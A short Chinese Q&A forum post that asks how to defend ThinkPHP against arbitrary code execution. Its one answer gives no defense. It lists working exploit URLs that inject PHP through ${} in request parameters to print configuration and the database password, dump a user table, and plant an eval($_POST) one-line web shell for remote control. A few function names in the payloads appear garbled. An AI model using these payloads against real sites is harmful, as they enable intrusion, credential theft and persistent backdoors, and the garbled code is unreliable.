如何防范thinkphp框架执行任意代码
发布网友
发布时间:2022-04-06 02:08
我来回答
共1个回答
热心网友
时间:2022-04-06 03:37
1. 使用URL可以查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST
http://site/index.php/mole/action/param1/${@print(THINK_VERSION)}
http://site/index.php/mole/action/param1/${@print(C(‘’))}
http://site/index.php/mole/action/param1/${@print(C(‘DB_PASS’))}
2.使用模型D方法或者M方法,猜测后台帐号密码,当然首先要先猜一下用户的表名了
http://www.site.com/eetodaycom/index.php/Proct/show/id/25/parm1/${@var_mp(D(user)->select())}
3.直接执行一句话代码,然后用菜刀直接连接.
http://site/index.php/mole/action/param1/{${eval($_POST[s])}} 一句话密码:s